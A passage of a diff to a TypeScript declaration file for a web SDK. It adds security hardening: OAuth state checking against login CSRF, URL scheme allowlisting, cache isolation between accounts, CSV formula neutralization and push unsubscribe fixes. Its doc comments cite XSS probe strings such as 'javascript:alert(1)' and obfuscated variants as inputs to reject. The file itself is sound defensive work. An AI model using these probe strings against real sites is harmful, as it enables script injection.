* which leaves the owner unknown (fail closed).
|
|
12759
|
+
*/
|
|
12760
|
+
getPrincipal?: () => string | null | undefined | Promise<string | null | undefined>;
|
|
12761
|
+
}
|
|
12762
|
+
|
|
12173
12763
|
/**
|
|
12174
12764
|
* One page of the server delta pull.
|
|
12175
12765
|
*
|
|
@@ -12568,6 +13158,50 @@ export declare function readAvailableOutgoingKbps(report: RTCStatsReport): numbe
|
|
|
12568
13158
|
*/
|
|
12569
13159
|
export declare function readDeviceProfile(): DeviceProfile;
|
|
12570
13160
|
|
|
13161
|
+
/** Options for {@link readOAuthCallbackParams}. */
|
|
13162
|
+
export declare interface ReadOAuthCallbackOptions {
|
|
13163
|
+
/**
|
|
13164
|
+
* Remove `code` and `state` from the address bar after reading them, with
|
|
13165
|
+
* `history.replaceState` — other params, the hash and `history.state` are
|
|
13166
|
+
* kept. Default: `true` when reading `window.location`, `false` when an
|
|
13167
|
+
* explicit `search` is passed (there is no URL of yours to clean then).
|
|
13168
|
+
*/
|
|
13169
|
+
scrubUrl?: boolean;
|
|
13170
|
+
}
|
|
13171
|
+
|
|
13172
|
+
/**
|
|
13173
|
+
* Read `code` and `state` from a provider's redirect, refusing an incomplete one.
|
|
13174
|
+
*
|
|
13175
|
+
* The `state` is what ties the callback to the browser that started the flow.
|
|
13176
|
+
* Without it, an attacker sends the victim to `/callback?code=<attacker's code>`
|
|
13177
|
+
* and the victim ends up signed in to the attacker's account — a login CSRF.
|
|
13178
|
+
* The old recipe read only `code` and posted `{ code }`, so the `state` never
|
|
13179
|
+
* reached a backend that could compare it (#449). This reader makes dropping it
|
|
13180
|
+
* impossible: it returns both or throws.
|
|
13181
|
+
*
|
|
13182
|
+
* It does **not** compare the state. In the `tempest-fastapi-sdk` flow the
|
|
13183
|
+
* backend mints it in `GET {prefix}/oauth/{provider}/login`, keeps it in an
|
|
13184
|
+
* `HttpOnly` cookie bound to the provider, and checks it with
|
|
13185
|
+
* `hmac.compare_digest` in the callback (single use, `AUTH_OAUTH_STATE_TTL_SECONDS`
|
|
13186
|
+
* expiry). The browser cannot read that cookie, so any check here would be
|
|
13187
|
+
* theatre; forwarding the value is the browser's whole job.
|
|
13188
|
+
*
|
|
13189
|
+
* When it reads `window.location`, it also removes `code` and `state` from the
|
|
13190
|
+
* address bar (see {@link ReadOAuthCallbackOptions.scrubUrl}) — before
|
|
13191
|
+
* validating, so a refused callback is cleaned too.
|
|
13192
|
+
*
|
|
13193
|
+
* @param search - The query string or params to read. Default: `window.location.search`.
|
|
13194
|
+
* @param options - Whether to scrub the URL.
|
|
13195
|
+
* @returns The `code` and `state`.
|
|
13196
|
+
* @throws {OAuthCallbackError} `"provider_error"` when the provider sent `error`
|
|
13197
|
+
* (the user declined, for instance), `"missing_state"` without `state`,
|
|
13198
|
+
* `"missing_code"` without `code`.
|
|
13199
|
+
*
|
|
13200
|
+
* @example
|
|
13201
|
+
* const { code, state } = readOAuthCallbackParams("?code=4%2F0A&state=xyz");
|
|
13202
|
+
*/
|
|
13203
|
+
export declare function readOAuthCallbackParams(search?: string | URLSearchParams, options?: ReadOAuthCallbackOptions): OAuthCallbackParams;
|
|
13204
|
+
|
|
12571
13205
|
/**
|
|
12572
13206
|
* Read what the encoder says is holding the picture back.
|
|
12573
13207
|
*
|
|
@@ -12846,6 +13480,26 @@ export declare interface ReorderPayload {
|
|
|
12846
13480
|
to: number;
|
|
12847
13481
|
}
|
|
12848
13482
|
|
|
13483
|
+
/**
|
|
13484
|
+
* What {@link ApiClientConfig.refresh} and {@link ApiClientConfig.onUnauthorized}
|
|
13485
|
+
* learn about the attempt that came back `401`: the credential and the session it
|
|
13486
|
+
* left under, both read when that attempt was sent.
|
|
13487
|
+
*/
|
|
13488
|
+
export declare interface RequestAuthContext {
|
|
13489
|
+
/**
|
|
13490
|
+
* The access token the rejected attempt was sent with, read from `getToken`
|
|
13491
|
+
* when it left — or `null` when it carried none (`skipAuth`, no token yet,
|
|
13492
|
+
* or no `getToken` configured).
|
|
13493
|
+
*/
|
|
13494
|
+
token: string | null;
|
|
13495
|
+
/**
|
|
13496
|
+
* What `getSessionEpoch` returned when the attempt left, or `null` when it
|
|
13497
|
+
* is not configured. Differing from the current value means the attempt
|
|
13498
|
+
* belongs to a session that has since ended.
|
|
13499
|
+
*/
|
|
13500
|
+
epoch: number | null;
|
|
13501
|
+
}
|
|
13502
|
+
|
|
12849
13503
|
export declare interface RequestOptions extends Omit<RequestInit, "body"> {
|
|
12850
13504
|
body?: unknown;
|
|
12851
13505
|
params?: Record<string, string | number | boolean | undefined | null>;
|
|
@@ -13368,6 +14022,38 @@ export declare interface RuntimeRoute {
|
|
|
13368
14022
|
* resource is cached once (the `Range` header is stripped before caching).
|
|
13369
14023
|
*/
|
|
13370
14024
|
rangeRequests?: boolean;
|
|
14025
|
+
/**
|
|
14026
|
+
* Opt in to caching requests that carry a credential header (see
|
|
14027
|
+
* `credentialHeaders`), and responses marked `Cache-Control: private`.
|
|
14028
|
+
* Default `false`.
|
|
14029
|
+
*
|
|
14030
|
+
* Cache Storage is keyed by URL and outlives the session: without this
|
|
14031
|
+
* gate, a `GET /api/me` stored for one account was served to the next
|
|
14032
|
+
* account on the same browser whenever the network failed or exceeded
|
|
14033
|
+
* `networkTimeoutSeconds` (reproduced in Chromium 153, 11/10/2026). With
|
|
14034
|
+
* the default, credentialed requests bypass the route entirely and reach
|
|
14035
|
+
* the network as if no service worker were installed.
|
|
14036
|
+
*
|
|
14037
|
+
* When enabled, every stored entry gets `Vary` on each credential header the
|
|
14038
|
+
* request carried, so the Cache API only matches it for the same credential —
|
|
14039
|
+
* another account (or no account) misses instead of reading it. A token
|
|
14040
|
+
* rotated while online simply repopulates the entry. Pair it with
|
|
14041
|
+
* `clearSessionData()` on logout, which removes the entries themselves.
|
|
14042
|
+
* `Cache-Control: no-store` is never cached, opt-in or not.
|
|
14043
|
+
*
|
|
14044
|
+
* A cookie session is invisible here: the worker cannot see `Cookie`, and
|
|
14045
|
+
* gating on `request.credentials` would switch off caching for every
|
|
14046
|
+
* same-origin image and font. A cookie-authenticated API stays private only
|
|
14047
|
+
* through `Cache-Control: private`/`no-store` on its responses and
|
|
14048
|
+
* `clearSessionData()` on logout.
|
|
14049
|
+
*/
|
|
14050
|
+
cacheAuthenticated?: boolean;
|
|
14051
|
+
/**
|
|
14052
|
+
* Header names that mark a request as credentialed. Default
|
|
14053
|
+
* `DEFAULT_CREDENTIAL_HEADERS` (`authorization`, `x-api-key`,
|
|
14054
|
+
* `x-auth-token`, …) — the same list the background-sync queue strips.
|
|
14055
|
+
*/
|
|
14056
|
+
credentialHeaders?: readonly string[];
|
|
13371
14057
|
}
|
|
13372
14058
|
|
|
13373
14059
|
/**
|
|
@@ -13392,7 +14078,7 @@ export declare interface RuntimeRoute {
|
|
|
13392
14078
|
*
|
|
13393
14079
|
* // Register specific routes FIRST so they win over the precache catch-all.
|
|
13394
14080
|
* installRuntimeCache([
|
|
13395
|
-
* { match: /\/api\//, strategy: "network-first", cacheName: "api", maxAgeSeconds: 300 },
|
|
14081
|
+
* { match: /\/api\//, strategy: "network-first", cacheName: "tempest-api", maxAgeSeconds: 300 },
|
|
13396
14082
|
* ]);
|
|
13397
14083
|
* installPrecache();
|
|
13398
14084
|
*/
|
|
@@ -13421,6 +14107,77 @@ export declare interface SafeAreaProps extends HTMLAttributes<HTMLDivElement> {
|
|
|
13421
14107
|
children?: ReactNode;
|
|
13422
14108
|
}
|
|
13423
14109
|
|
|
14110
|
+
/**
|
|
14111
|
+
* The URL to fetch or download an attachment from, or `null`.
|
|
14112
|
+
*
|
|
14113
|
+
* The allowlist is `http:`, `https:`, `blob:`, relative URLs and the raster
|
|
14114
|
+
* `data:image/` types {@link safeImageUrl} accepts. A file row is an `<a href
|
|
14115
|
+
* download>`, and the `download` attribute does not stop a `javascript:` href
|
|
14116
|
+
* from running (measured in Chromium 153 and Firefox 155, #447), so the scheme
|
|
14117
|
+
* has to be checked before the anchor exists. `mailto:`/`tel:` are left out: an
|
|
14118
|
+
* attachment is bytes, not a contact.
|
|
14119
|
+
*
|
|
14120
|
+
* The scheme is judged on the normalized form, but the URL comes back **as given**:
|
|
14121
|
+
* normalizing deletes every space, and `/files/relatório final.pdf` is a real
|
|
14122
|
+
* attachment path. Returning the original is safe because the normalization only
|
|
14123
|
+
* removes characters, a superset of what the browser's URL parser strips, so it
|
|
14124
|
+
* can never hide a scheme the browser would see.
|
|
14125
|
+
*
|
|
14126
|
+
* @example
|
|
14127
|
+
* const href = safeAttachmentUrl(attachment.url);
|
|
14128
|
+
* return href ? <a href={href} download>{name}</a> : <span>{name}</span>;
|
|
14129
|
+
*
|
|
14130
|
+
* @param raw - URL as the sender supplied it.
|
|
14131
|
+
* @returns A safe URL, or `null` when it must not reach an `href`.
|
|
14132
|
+
*/
|
|
14133
|
+
export declare function safeAttachmentUrl(raw: string): string | null;
|
|
14134
|
+
|
|
14135
|
+
/**
|
|
14136
|
+
* The `src` to render for an image, or `null`.
|
|
14137
|
+
*
|
|
14138
|
+
* Accepts what {@link safeLinkUrl} accepts, plus raster `data:image/...;base64`.
|
|
14139
|
+
*
|
|
14140
|
+
* @example
|
|
14141
|
+
* safeImageUrl("data:image/png;base64,iVBORw0KGgo="); // kept
|
|
14142
|
+
* safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
|
|
14143
|
+
*
|
|
14144
|
+
* @param raw - URL as written in the Markdown.
|
|
14145
|
+
* @returns A safe src, or `null`.
|
|
14146
|
+
*/
|
|
14147
|
+
export declare function safeImageUrl(raw: string): string | null;
|
|
14148
|
+
|
|
14149
|
+
/**
|
|
14150
|
+
* URL vetting for every `href` and `src` the SDK fills from somebody else's data:
|
|
14151
|
+
* links and images in rendered Markdown, and the file row of a chat attachment.
|
|
14152
|
+
*
|
|
14153
|
+
* This is a security boundary. Text that arrives from a user — a comment, a ticket
|
|
14154
|
+
* description, a chat attachment — reaches the DOM as a real `href`, and
|
|
14155
|
+
* `javascript:alert(1)` in a link is script execution on click. React 19 replaces
|
|
14156
|
+
* a `javascript:` href with a throwing stub, but the peer range admits React 18,
|
|
14157
|
+
* which only warns: measured with react-dom 18.3.1, `renderToStaticMarkup` wrote
|
|
14158
|
+
* `href="javascript:..."` verbatim, and clicking it ran the script in Chromium 153
|
|
14159
|
+
* and Firefox 155 — `download` on the anchor did not stop it (#447). So the
|
|
14160
|
+
* scheme is checked against an allowlist rather than a blocklist: a blocklist has
|
|
14161
|
+
* to enumerate `javascript:`, `JaVaScRiPt:`, `java\tscript:`, `javascript:`
|
|
14162
|
+
* and whatever comes next, and misses the one nobody thought of.
|
|
14163
|
+
*/
|
|
14164
|
+
/**
|
|
14165
|
+
* The href to render, or `null` when the URL must not be linked.
|
|
14166
|
+
*
|
|
14167
|
+
* Relative URLs (`/docs`, `./x`, `#anchor`, `foo/bar`) are kept: they cannot carry
|
|
14168
|
+
* a scheme, so they cannot execute anything, and dropping them would break every
|
|
14169
|
+
* in-app link. Protocol-relative (`//host/path`) inherits the page scheme and is
|
|
14170
|
+
* kept for the same reason.
|
|
14171
|
+
*
|
|
14172
|
+
* @example
|
|
14173
|
+
* safeLinkUrl("https://x.dev"); // "https://x.dev"
|
|
14174
|
+
* safeLinkUrl("java\tscript:alert(1)"); // null
|
|
14175
|
+
*
|
|
14176
|
+
* @param raw - URL as written in the Markdown.
|
|
14177
|
+
* @returns A safe href, or `null`.
|
|
14178
|
+
*/
|
|
14179
|
+
export declare function safeLinkUrl(raw: string): string | null;
|
|
14180
|
+
|
|
13424
14181
|
/** A schema exposing zod's `.safeParse`, including versions older than `~standard`. */
|
|
13425
14182
|
export declare interface SafeParseSchemaLike<T> {
|
|
13426
14183
|
readonly safeParse: (value: unknown) => {
|
|
@@ -13910,6 +14667,35 @@ export declare interface SequentialScaleOptions {
|
|
|
13910
14667
|
ordinal?: boolean;
|
|
13911
14668
|
}
|
|
13912
14669
|
|
|
14670
|
+
/**
|
|
14671
|
+
* Thrown when the session that started an operation is no longer the current
|
|
14672
|
+
* one by the time it settles: a `refresh` hook (rethrown by
|
|
14673
|
+
* {@link createApiClient}), or a `createTempestAuth` `login()` whose session
|
|
14674
|
+
* was replaced while it waited on the previous session's teardown.
|
|
14675
|
+
*
|
|
14676
|
+
* A refresh is a network round trip, and the session can end or change hands
|
|
14677
|
+
* during it: the user signs out, or signs out and another account signs in. The
|
|
14678
|
+
* tokens that refresh brings back belong to the session that ended, so they are
|
|
14679
|
+
* discarded instead of installed, and the request that was waiting on them is
|
|
14680
|
+
* not replayed — replaying it would send it as whoever is signed in now.
|
|
14681
|
+
*
|
|
14682
|
+
* This is deliberately not an unauthorized outcome. The client does **not** call
|
|
14683
|
+
* `onUnauthorized` for it: that callback ends the session, and the current
|
|
14684
|
+
* session — possibly a different account that just signed in — did nothing
|
|
14685
|
+
* wrong. Treat it like an aborted request: drop the result, show nothing.
|
|
14686
|
+
*
|
|
14687
|
+
* @example
|
|
14688
|
+
* try {
|
|
14689
|
+
* await api.get("/api/orders");
|
|
14690
|
+
* } catch (err) {
|
|
14691
|
+
* if (err instanceof SessionSupersededError) return;
|
|
14692
|
+
* throw err;
|
|
14693
|
+
* }
|
|
14694
|
+
*/
|
|
14695
|
+
export declare class SessionSupersededError extends Error {
|
|
14696
|
+
constructor();
|
|
14697
|
+
}
|
|
14698
|
+
|
|
13913
14699
|
/**
|
|
13914
14700
|
* Send an element's audio to a specific output device.
|
|
13915
14701
|
*
|
|
@@ -15158,9 +15944,21 @@ export declare interface TempestAuth<TUser, TCredentials> {
|
|
|
15158
15944
|
api: ApiClient;
|
|
15159
15945
|
/** Authenticate, store the session, and resolve the user (or null). */
|
|
15160
15946
|
login: (credentials: TCredentials) => Promise<TUser | null>;
|
|
15161
|
-
/**
|
|
15162
|
-
|
|
15163
|
-
|
|
15947
|
+
/**
|
|
15948
|
+
* End the session: supersede any refresh in flight, clear the store and the
|
|
15949
|
+
* stored refresh token, then run `onSessionEnd`.
|
|
15950
|
+
*
|
|
15951
|
+
* The store is cleared synchronously, before the first `await`, so callers
|
|
15952
|
+
* that ignore the promise see the signed-out state at once. The promise
|
|
15953
|
+
* resolves when `onSessionEnd` settled and rejects with its error.
|
|
15954
|
+
*/
|
|
15955
|
+
logout: () => Promise<void>;
|
|
15956
|
+
/**
|
|
15957
|
+
* Refresh the access token (deduplicated across concurrent callers).
|
|
15958
|
+
*
|
|
15959
|
+
* @throws {SessionSupersededError} When the session ended or changed while
|
|
15960
|
+
* the refresh was in flight; its tokens were discarded.
|
|
15961
|
+
*/
|
|
15164
15962
|
refresh: () => Promise<void>;
|
|
15165
15963
|
/** The current access token, or null. */
|
|
15166
15964
|
getToken: () => string | null;
|
|
@@ -15233,6 +16031,35 @@ export declare interface TempestRouteObject {
|
|
|
15233
16031
|
caseSensitive?: boolean;
|
|
15234
16032
|
}
|
|
15235
16033
|
|
|
16034
|
+
/**
|
|
16035
|
+
* What {@link CreateTempestAuthOptions.onSessionEnd} receives about the session
|
|
16036
|
+
* that just ended.
|
|
16037
|
+
*/
|
|
16038
|
+
declare interface TempestSessionEnd<TUser> {
|
|
16039
|
+
/**
|
|
16040
|
+
* Why it ended: `"logout"` for an explicit `logout()`, `"expired"` when the
|
|
16041
|
+
* client ended it on its own — the refresh failed, or the request replayed
|
|
16042
|
+
* after a refresh still came back `401` — and `"switch"` when `login()`
|
|
16043
|
+
* succeeded for another set of credentials while this session was live.
|
|
16044
|
+
*/
|
|
16045
|
+
reason: "logout" | "expired" | "switch";
|
|
16046
|
+
/** The user of the ended session, as the store held it. */
|
|
16047
|
+
user: TUser | null;
|
|
16048
|
+
/** The access token of the ended session, or `null` when it had none. */
|
|
16049
|
+
token: string | null;
|
|
16050
|
+
/**
|
|
16051
|
+
* A client that sends the ended session's access token — the store has
|
|
16052
|
+
* already been cleared, so `auth.api` no longer does.
|
|
16053
|
+
*
|
|
16054
|
+
* Use it for the server-side half of the teardown, such as deleting this
|
|
16055
|
+
* browser's push subscription. It never refreshes and never ends a session:
|
|
16056
|
+
* a `401` here just rejects. On `"logout"` the token is usually still
|
|
16057
|
+
* valid; on `"expired"` the server has already refused it, so expect the
|
|
16058
|
+
* call to fail and keep the local half of the teardown independent of it.
|
|
16059
|
+
*/
|
|
16060
|
+
api: ApiClient;
|
|
16061
|
+
}
|
|
16062
|
+
|
|
15236
16063
|
/** The token envelope returned by a Tempest FastAPI SDK login/refresh route. */
|
|
15237
16064
|
export declare interface TempestTokenResponse {
|
|
15238
16065
|
/** The bearer access token. */
|
|
@@ -15434,6 +16261,16 @@ export declare interface TimePickerProps {
|
|
|
15434
16261
|
|
|
15435
16262
|
export { To }
|
|
15436
16263
|
|
|
16264
|
+
/**
|
|
16265
|
+
* Horizontal alignment of a toast's title and description.
|
|
16266
|
+
*
|
|
16267
|
+
* `"start"` is the default because a toast is read as a sentence beside a close
|
|
16268
|
+
* button: left-aligned lines share one edge with the icon and the stack, so a
|
|
16269
|
+
* two-line description stays scannable. `"center"` exists for the short
|
|
16270
|
+
* celebratory toast (an achievement with a badge) where the text is one line.
|
|
16271
|
+
*/
|
|
16272
|
+
export declare type ToastAlign = "start" | "center";
|
|
16273
|
+
|
|
15437
16274
|
export declare interface ToastApi {
|
|
15438
16275
|
show: (options: ToastOptions) => string;
|
|
15439
16276
|
dismiss: (id: string) => void;
|
|
@@ -15450,6 +16287,30 @@ export declare interface ToastOptions {
|
|
|
15450
16287
|
variant?: ToastVariant;
|
|
15451
16288
|
/** Auto-dismiss timeout in ms. Pass `0` to keep the toast until dismissed manually. */
|
|
15452
16289
|
duration?: number;
|
|
16290
|
+
/**
|
|
16291
|
+
* Leading slot rendered before the text, e.g. `<img src="/badge.svg" alt="" />`.
|
|
16292
|
+
*
|
|
16293
|
+
* It is an app asset, so it takes any `ReactNode` — but it is a slot for an
|
|
16294
|
+
* **icon**, not for a control. The wrapper is `inert`, so a button or link put
|
|
16295
|
+
* here is neither focusable nor clickable; actions belong outside the toast.
|
|
16296
|
+
*
|
|
16297
|
+
* The slot is decorative (`aria-hidden`) unless {@link ToastOptions.iconLabel}
|
|
16298
|
+
* is given: most icons repeat what the title already says, and an unlabelled
|
|
16299
|
+
* image inside the live region would otherwise be announced as "image" or by
|
|
16300
|
+
* its file name. An `<img>` or `<svg>` anywhere inside it is capped at 32px and
|
|
16301
|
+
* keeps its aspect ratio. A node that renders nothing (`null`, a boolean, `""`,
|
|
16302
|
+
* `[]`, an empty fragment) counts as no icon, so the toast keeps two columns.
|
|
16303
|
+
*/
|
|
16304
|
+
icon?: ReactNode;
|
|
16305
|
+
/**
|
|
16306
|
+
* Accessible name for {@link ToastOptions.icon} when the icon carries meaning
|
|
16307
|
+
* the text does not. With it the slot becomes `role="img"` with this label and
|
|
16308
|
+
* is announced together with the toast; without it the slot is hidden from
|
|
16309
|
+
* assistive technology.
|
|
16310
|
+
*/
|
|
16311
|
+
iconLabel?: string;
|
|
16312
|
+
/** Text alignment of title and description. Default `"start"`; see {@link ToastAlign}. */
|
|
16313
|
+
align?: ToastAlign;
|
|
15453
16314
|
}
|
|
15454
16315
|
|
|
15455
16316
|
export declare type ToastPosition = "top-right" | "top-left" | "top-center" | "bottom-right" | "bottom-left" | "bottom-center";
|
|
@@ -15473,7 +16334,9 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
|
|
|
15473
16334
|
* Serialize rows to CSV text, RFC 4180 style.
|
|
15474
16335
|
*
|
|
15475
16336
|
* Rows are separated by `\r\n` — the RFC's terminator and the one Excel is least
|
|
15476
|
-
* surprised by.
|
|
16337
|
+
* surprised by. Text that a spreadsheet would evaluate as a formula is written
|
|
16338
|
+
* with a leading `'` unless `neutralizeFormulas` is `false` (see
|
|
16339
|
+
* {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the
|
|
15477
16340
|
* person who opens the file sees which columns they asked for instead of a blank
|
|
15478
16341
|
* document.
|
|
15479
16342
|
*
|
|
@@ -15486,7 +16349,7 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
|
|
|
15486
16349
|
*
|
|
15487
16350
|
* @param rows - The rows to export.
|
|
15488
16351
|
* @param columns - Columns, in the order they should appear.
|
|
15489
|
-
* @param options - Delimiter and
|
|
16352
|
+
* @param options - Delimiter, BOM and formula neutralization.
|
|
15490
16353
|
* @returns The complete file contents.
|
|
15491
16354
|
*/
|
|
15492
16355
|
export declare function toCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], options?: CsvOptions): string;
|
|
@@ -17699,18 +18562,26 @@ export declare interface UseNotificationInboxResult {
|
|
|
17699
18562
|
* `/callback` routes that receive provider redirects and need to swap a
|
|
17700
18563
|
* code/token for an app session via the backend.
|
|
17701
18564
|
*
|
|
17702
|
-
*
|
|
17703
|
-
*
|
|
18565
|
+
* Runs `exchange` once per logical mount and keeps its result. StrictMode's
|
|
18566
|
+
* simulated unmount/remount in dev and a parent re-render with inline
|
|
18567
|
+
* callbacks used to cancel the only exchange and skip the second, leaving the
|
|
18568
|
+
* hook `"pending"` forever with the single-use code already spent. Now the
|
|
18569
|
+
* options live in a latest-value ref, the effect has no dependencies, and the
|
|
18570
|
+
* result is dropped only when the component is still unmounted when it lands.
|
|
18571
|
+
* The newest `onSuccess`/`onError` are the ones called.
|
|
18572
|
+
*
|
|
18573
|
+
* For a provider redirect, the exchange must carry the `state` along with the
|
|
18574
|
+
* `code`, or no backend can tell a forged callback from a real one (login
|
|
18575
|
+
* CSRF). `exchangeOAuthCallback` does that against a
|
|
18576
|
+
* `tempest-fastapi-sdk` backend; `readOAuthCallbackParams` returns both
|
|
18577
|
+
* values (or throws) for any other backend.
|
|
17704
18578
|
*
|
|
17705
18579
|
* @example
|
|
17706
18580
|
* function OAuthCallback() {
|
|
17707
|
-
* const { loading, error } = useOAuthCallback({
|
|
17708
|
-
* exchange:
|
|
17709
|
-
*
|
|
17710
|
-
*
|
|
17711
|
-
* },
|
|
17712
|
-
* onSuccess: ({ token, user }) => {
|
|
17713
|
-
* useAuthStore.getState().setSession({ user, token });
|
|
18581
|
+
* const { loading, error } = useOAuthCallback<LoginResponse>({
|
|
18582
|
+
* exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
|
|
18583
|
+
* onSuccess: ({ user_id, access_token }) => {
|
|
18584
|
+
* useAuthStore.getState().setSession({ user: { id: user_id }, token: access_token });
|
|
17714
18585
|
* navigate("/dashboard", { replace: true });
|
|
17715
18586
|
* },
|
|
17716
18587
|
* onError: () => navigate("/login?error=oauth", { replace: true }),
|
|
@@ -19945,10 +20816,29 @@ export declare class WebPushClient {
|
|
|
19945
20816
|
*/
|
|
19946
20817
|
subscribe(): Promise<PushSubscription>;
|
|
19947
20818
|
/**
|
|
19948
|
-
* Cancel the current subscription
|
|
19949
|
-
*
|
|
19950
|
-
*
|
|
19951
|
-
*
|
|
20819
|
+
* Cancel the current subscription: `onUnsubscribe` first, so the backend
|
|
20820
|
+
* can purge the record while the endpoint is known, then
|
|
20821
|
+
* `subscription.unsubscribe()` — **always**, even when `onUnsubscribe`
|
|
20822
|
+
* failed.
|
|
20823
|
+
*
|
|
20824
|
+
* Why the browser is released anyway: the two failure modes are not
|
|
20825
|
+
* symmetric. A backend row left behind costs one send to a dead endpoint,
|
|
20826
|
+
* which the push service answers with `404`/`410` and the backend deletes.
|
|
20827
|
+
* A browser subscription left behind keeps delivering this account's
|
|
20828
|
+
* notifications to whoever uses the browser next — and the backend call
|
|
20829
|
+
* fails precisely when that matters, at the end of a session, when the
|
|
20830
|
+
* token that authenticates it is already gone. Before 0.77.0 a rejected
|
|
20831
|
+
* `onUnsubscribe` aborted here and the browser stayed subscribed (#445).
|
|
20832
|
+
* The endpoint is not lost either way: it is read before both calls and
|
|
20833
|
+
* travels in the error.
|
|
20834
|
+
*
|
|
20835
|
+
* @returns True when an active subscription was removed, false when there
|
|
20836
|
+
* was none or the browser refused.
|
|
20837
|
+
* @throws {WebPushUnsubscribeError} When `onUnsubscribe` failed — thrown
|
|
20838
|
+
* after the browser subscription was released. When the browser call also
|
|
20839
|
+
* threw, `browserUnsubscribed` is `false` and `cause` is an
|
|
20840
|
+
* `AggregateError` holding both errors, backend first, so the endpoint the
|
|
20841
|
+
* error carries is never traded for a bare `DOMException`.
|
|
19952
20842
|
*/
|
|
19953
20843
|
unsubscribe(): Promise<boolean>;
|
|
19954
20844
|
}
|
|
@@ -19961,7 +20851,12 @@ export declare interface WebPushClientConfig {
|
|
|
19961
20851
|
* the host app decides the endpoint and how the payload is serialized.
|
|
19962
20852
|
*/
|
|
19963
20853
|
onSubscribe: (subscription: PushSubscriptionJSON) => Promise<void> | void;
|
|
19964
|
-
/**
|
|
20854
|
+
/**
|
|
20855
|
+
* Remove the subscription from the backend. Called before
|
|
20856
|
+
* `subscription.unsubscribe()`, with the subscription's JSON — key the
|
|
20857
|
+
* delete by its `endpoint`. A rejection no longer keeps the browser
|
|
20858
|
+
* subscribed: see {@link WebPushClient.unsubscribe}.
|
|
20859
|
+
*/
|
|
19965
20860
|
onUnsubscribe?: (subscription: PushSubscriptionJSON) => Promise<void> | void;
|
|
19966
20861
|
/**
|
|
19967
20862
|
* Override how the service worker registration is obtained.
|
|
@@ -19975,6 +20870,28 @@ export declare class WebPushPermissionDeniedError extends Error {
|
|
|
19975
20870
|
constructor();
|
|
19976
20871
|
}
|
|
19977
20872
|
|
|
20873
|
+
/**
|
|
20874
|
+
* Thrown by {@link WebPushClient.unsubscribe} when `onUnsubscribe` failed. The
|
|
20875
|
+
* browser subscription was still released — `browserUnsubscribed` says whether
|
|
20876
|
+
* the browser confirmed it — so the only thing left behind is the backend row.
|
|
20877
|
+
*
|
|
20878
|
+
* Carries the `subscription` JSON so the app can retry the delete by
|
|
20879
|
+
* `endpoint` later; if it never does, the push service answers the next send
|
|
20880
|
+
* to that endpoint with `404`/`410`, which is the backend's cue to drop the row.
|
|
20881
|
+
*/
|
|
20882
|
+
export declare class WebPushUnsubscribeError extends Error {
|
|
20883
|
+
/** The subscription whose backend delete failed. */
|
|
20884
|
+
readonly subscription: PushSubscriptionJSON;
|
|
20885
|
+
/** Whether `PushSubscription.unsubscribe()` reported success. */
|
|
20886
|
+
readonly browserUnsubscribed: boolean;
|
|
20887
|
+
/**
|
|
20888
|
+
* @param subscription - The subscription whose backend delete failed.
|
|
20889
|
+
* @param browserUnsubscribed - What `PushSubscription.unsubscribe()` returned.
|
|
20890
|
+
* @param cause - What `onUnsubscribe` threw.
|
|
20891
|
+
*/
|
|
20892
|
+
constructor(subscription: PushSubscriptionJSON, browserUnsubscribed: boolean, cause: unknown);
|
|
20893
|
+
}
|
|
20894
|
+
|
|
19978
20895
|
export declare class WebPushUnsupportedError extends Error {
|
|
19979
20896
|
constructor();
|
|
19980
20897
|
}
|